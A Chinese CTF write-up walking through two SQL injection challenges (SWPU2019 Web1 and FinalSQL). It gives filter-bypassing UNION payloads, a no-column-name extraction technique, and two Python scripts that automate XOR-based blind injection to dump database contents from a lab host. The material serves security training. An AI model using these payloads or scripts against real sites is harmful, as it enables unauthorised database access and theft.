第24天(共2题)
Web
[SWPU2019]Web1
首页是一个登录网页,这里目前的登录框是没有发现SQL漏洞的,因此先尝试注册个账号
但是要注意admin
这个账号被注册过了,我们是无法注册的,只能随便注册其他的账号
然后用注册好的账号登陆进来可以看到申请发布广告
的选择,我们发一条1'
可以看到成功发布了,点击广告详情
说明这里是存在SQL注入漏洞的
通过测试,or
、空格
、#
等都被过滤了
这里给出解决方案:
order by 用 group by 代替
空格 用 /**/ 代替
# 用
,'数字
代替
接下来第一步就是查看列数:
1' order by 22#
替换后
1'/**/group/**/by/**/22,'3
此时正常回显,但是列数为23时返回:
说明只有22列
,接下来是看回显点在哪里:
-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
替换后
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
回显点是2
和3
由于information_schema.tables
含有or
字样被过滤了,所以这里要使用mysql.innodb_table_stats
替代,但是因为这个表查不了列名,所以要用到新的知识点:无列名注入
先来查一下表名:
-1' union select 1,(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
将当前库下所有表名拼接后在回显点2
显示
替换后
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到两个表:ads
和users
接下来取值
-1' union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
这里着重讲一下中间部分:
(select group_concat(b) from (select 1,2,3 as b union select * from users)a)
首先(select 1,2,3 as b union select * from users)a
意思是查询1,2,3
后联合查询users
表里的所有列内容,将两者拼接在一起返回一个别名为a
的新表(同时将第3列
也设置别名为b
,因为如果直接用3
来得到第3列的数据的话需要把3
用反引号括起来,但是反引号也过滤了,用字母就不需要反引号)
也就是会返回一个列名分别是1,2,3
(就相当于给users
表设置了新的数字列名)
然后第一行数据也是1,2,3
但是后面跟着的所有行都是users表对应的内容了
然后我们就可以用这个数字列名获取对应列的数据了
那为什么知道users表里有3列呢,用下面这个判断(有个1就有几列)
-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
替换后
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
成功拿到flag
[极客大挑战 2019]FinalSQL
网站上分别有5个按钮,前面四个都说flag不在那,第五个显示:
并且注意到URL
中的id
随按钮点击而变化,目前值是5
id
设为6
显示:
id
设为0
或7
及以上的数字都显示:
因此这里可以用到异或盲注,也就是:
1^0 = 1
1^1 = 0
也就是
1^(true) = 0 ERROR!!!
1^(false) = 1 NO! Not this! Click others~~~
然后就可以用类似这样的语句获取信息
?id=1^(length(database()));
根据异或值:
1^0 1
1^1 0
1^2 3
1^3 2
1^4 5
1^5 4
1^6 7
1^7 6
以及每个页面对应的返回内容判断异或右边的值,比如上面那句返回的是
说明数据库名字是4位(因为这个页面是id=5
出现的)
同理,就可以得到对应的表名、列名以及它们具体的内容了(通过一个个遍历)
这里给出一个相对完善但耗时的大佬的代码:
import requests,re,time
# 火狐浏览器UA
data = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}
# 错误提示集--短集合
arr = ['NO!','yingyingying','Ohhh','OK OK I','You are','Clever!']
# 专门搞传输的模块
def get_url(url,data):
req = requests.get(url, headers=data)
html_content = req.text
# 正则表达式
pattern = r"<h1.*?>(.*?)</h1>"
matches = re.findall(pattern, html_content)
return matches
# ascii码的碰撞单元
def ascii_get(url,url_edit,num,s):
stt = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[\]^_`{|}~ !"#$%&'()*+,-./0123456789:;<=>?@"""
for i in stt:
time.sleep(0.1)
urls = url + url_edit.format(num + 1, ord(i))
matches = get_url(urls, data)
# print(matches,num+1,i,urls)
try:
if matches == []:
continue
if 'ERROR' in matches[0]:
s += i
# print(s)
break
if '414 Request-URI Too Large' in matches[0]:
# print(n, i, strs, urls)
print(url)
except:
pass
return s
def get_data_len(url,data,url_edit,n=1):
urls = url+url_edit
value = get_url(urls,data)
if n==1:
for i in arr:
if i in value[0]:
return arr.index(i)
return value
elif n==2:
pass
def get_data_name(url,url_edit,n,data_name_input):
urls = ''
data_name = ''
# 根据获取的数据库名字的长度输出数据库名字
s = ''
stt = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[\]^_`{|}~ !"#$%&'()*+,-./0123456789:;<=>?@"""
# for循环读取数据库库名
for num in range(n):
original = s
s = ascii_get(url,url_edit,num,s)
print('{}:'.format(data_name_input),s)
if s == original:
break
return s
def get_flag(flag_str):
regular_expression = '.*?flag{(.*?)}.*?'
matches = re.findall(regular_expression, flag_str)[0]
print('你需要的flag为:flag{'+matches+"}")
def url_edit(url):
if url[-1] == '/':
return url[:-1]
return url
if __name__ == '__main__':
url = input('请输入一个合法的url(不需要带参数,形如:http://xxx.xxx.xxx:81)\n不正确运行出错就是你自己的事情喽:\n')
url = url_edit(url)
# 获取当前数据库的名字的长度
url_edit = '/search.php?id=1^(length(database()));'
data_len = get_data_len(url,data,url_edit)
print('数据库名字的长度:',data_len)
if data_len == ['404']:
print('你的靶场已关闭,状态码:404')
exit()
# 获取当前数据库名
url_edit = '/search.php?id=1^(ord(SUBSTRING(database(),{},1))={});'
data_name = get_data_name(url,url_edit,data_len,'数据库名')
# 根据数据库爆表
print('即将爆破出数据库'+data_name+'的表:')
url_edit = '/search.php?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(table_name),{},1)))FROM(information_schema.tables)where(table_schema=database()))={});'
table_name = get_data_name(url,url_edit,1000,'表名').split(',')
# 爆列名
print('即将爆破的表:',table_name[0])
url_edit = '/search.php?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="'+table_name[0]+'"))={});'
column_name = get_data_name(url,url_edit,1000,'列名').split(',')
# 爆值
print('即将被爆破的列:',column_name[-1])
table_names = data_name + '.' + table_name[0]
url_edit = '/search.php?id=1^((select(ord(SUBSTRING(GROUP_CONCAT('+ column_name[-1] +'),{},1)))from('+table_names+'))={});'
list_val = get_data_name(url,url_edit,1000,'列值')
get_flag(list_val)
可以用这个代码获取表名、列名等数据后用下面的代码获取列里的具体值(因为上面这段代码获取具体值比较耗时):
import requests
url = "http://6505d1c1-e5db-4926-90ac-6999ce62fbdf.node5.buuoj.cn:81/search.php"
flag = ''
def payload(i, j):
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
成功拿到flag